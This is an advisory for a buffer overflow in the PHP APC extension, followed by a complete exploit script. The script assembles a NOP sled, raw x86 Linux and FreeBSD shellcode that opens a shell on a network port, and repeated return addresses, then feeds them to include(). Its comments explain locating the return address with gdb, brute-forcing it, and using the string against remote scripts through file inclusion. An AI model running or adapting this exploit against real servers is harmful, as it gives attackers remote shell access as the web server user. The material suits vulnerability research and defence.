source: https://www.securityfocus.com/bid/28457/info
PECL Alternative PHP Cache (APC) extension is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.
Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.
Versions prior to APC 3.0.17 are affected.
<?php
/*
* apcsmash.php: PHP-APC-Stacksmash
*
* (c) 2008 dannyp <daniel@papasian.org>
* Feel free to redistribute in any form as long as you leave this
notice intact.
*
* WHAT IS THIS? Code that can run server-side and exploit a flaw in
PHP-APC 3.0.11-3.0.16
* to set up a reverse shell running as the same user that apache runs
under.
*
* WHAT SYSTEMS ARE VULNERABLE? Any system running PHP with APC 3.0.11
through CVS as of
* March 22nd, 2008 (this includes 3.0.16) is vulnerable. This exploit
was written
* specifically to target the case of PHP being ran by the webserver via
mod_php, and
* there is included shellcode for x86 Linux and x86 FreeBSD.
*
* HOW DO I GET IT TO WORK? This is not a script that will work for
scriptkiddies, or
* anyone lacking understanding of buffer overflow exploits. Under
Linux, it appears that
* the APC module gets loaded at a different location each time apache
is started, so you
* need to figure out what the return address is (RETADDR below) and
fill it in. Make sure
* you keep byteorder straight (i.e. on an x86 platform, if you want to
jump to 0xbfa784f8
* you need to have a RETADDR of \xa7\xbf\xf8\x84.
*
* WELL HOW THE HECK DO I DO THAT? The easiest way to figure out the
return address in
* is to attach gdb to one of the apache children, break it on the
exploited function
* in apc.c, and find the address of fileinfo->fullpath and then add a
bit to it so you
* land in the NOOP padding.
*
* WILL YOU HELP ME? I won't help you break into any systems that
aren't yours, so
* no, please don't contact me for technical support for this script. I
do consulting
* work, however, and my rates are very reasonable.
*
* WHAT IF I CANT DO THAT? Well, if you can't do that you're probably
not working on
* a machine that you have permission to be doing this sort of thing
against, so you should
* really consider buggering off
*
* BUT DOESNT THAT MAKE THIS VULNERABILITY HARMLESS? No, it certainly
doesn't, because
* apache has a (good) habit of respawning itself, so if you needed to
exploit the
* vulnerability without the privilege of being able to attach a
debugger to apache,
* you can just brute force it. The easiest way to do that would be to
have the return
* address be passed to this script via a $_GET variable, and then set
some script up
* to loop through the values you need to try. As you increase the
amount of pre-shellcode
* nooop padding, this actually becomes an easier and easier task, as
you can jump quite
* a bit on each try.
*
* SO IS THIS EXPLOIT USELESS IF I CANT RUN PHP ON THE TARGET MACHINE?
Yes.
*
* SO IS THIS VULNERABILITY USELESS IF I CANT RUN PHP ON THE TARGET?
No! This vulnerability
* opens people up to real attack in any case where include() and
friends are called with
* user input. This is a SUPER-set of a well known class of
vulnerabilities in PHP
* scripts called remote file inclusion (RFI) vulnerabilities. Standard
RFI vulnerabilities
* are easily mitigated by allow_url_fopen being turned off and (to deal
with NULs) magic
* quotes turned on. This attack vector requires neither!
*
* TELL ME MORE ABOUT THE SHELLCODE. The Linux shellcode is courtesy
http://shellcode.org/Shellcode/linux/bind/
* and launches a reverse shell on port 20000. The FreeBSD shellcode is
the author's own,
* and it doesn't properly initalize a sockaddr_in so it will bind to a
different port at different
* times (this is to be considered a feature, not a bug) but will
consistently take a port above 1024.
*/
// Delete this line, or you'll surely be disappointed. I don't plan on
this being used as an RFI payload...
exit();
// Set the system you're trying to target here
$system = 'Linux';
if($system == 'FreeBSD') {
/* How many NOOPs to write before the shellcode */
define('PREPAD', 400);
define('SHELLCODE',
"\x31\xc0\x50\xeb\x7d\xcd\x80\xc3\x5b\xb0\x17\xe8\xf5\xff\xff\xff\x31\xc0\x88\x43\x07\x88\x43\x0b\x89\x43\x10\x40\x50\x40\x50\xb0\x61\xe8\xdf\xff\xff\xff\x89\xc1\xb2\x10\x52\x8d\x53\x0c\x52\x50\xb0\x68\xe8\xce\xff\xff\xff\xb0\x6a\xe8\xc7\xff\xff\xff\x31\xc0\x50\x50\x51\xb0\x1e\xe8\xbb\xff\xff\xff\x89\xc2\x5a\x50\x31\xd2\xb2\x03\xb0\x5a\xe8\xac\xff\xff\xff\x66\xff\x44\x24\x04\xfe\xca\x75\xf0\xb0\x02\xe8\x9c\xff\xff\xff\x85\xc0\x75\xd1\x31\xc9\x8d\x43\x08\x51\x50\x89\xe0\x50\x50\x53\x31\xc0\xb0\x3b\xe8\x83\xff\xff\xff\xe8\x81\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x2d\x69\x20\x58\x80\x80\xa7\x22\xff\xff\xef\x1d\xff\xff\xef\x1d\x1d");
/* Our target return address */
define ('RETADDR', "\xbf\xbf\xb8\xc5");
/* Padding after the shellcode and before the return address,
for alignment purposes */
define ('POSTPAD', 12);
} else {
define('PREPAD', 4000);
define('SHELLCODE',"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\xf4\xf6\xd0\xcd\x80");
define ('POSTPAD', 17);
define ('RETADDR', "\xa7\xbf\xf8\x84");
}
define ('RETADDRCOUNT', 500);
$string = "";
for($i = 0; $i < PREPAD; ++$i) {
$string .= "\x90";
}
$string .= SHELLCODE;
for($i = 0; $i < POSTPAD; ++$i) {
$string .= "\x90";
}
for($i = 0; $i < RETADDRCOUNT; ++$i) {
$string .= RETADDR;
}
// At this point you could print the string out and use it to attack
remote scripts, if you wanted.
include($string);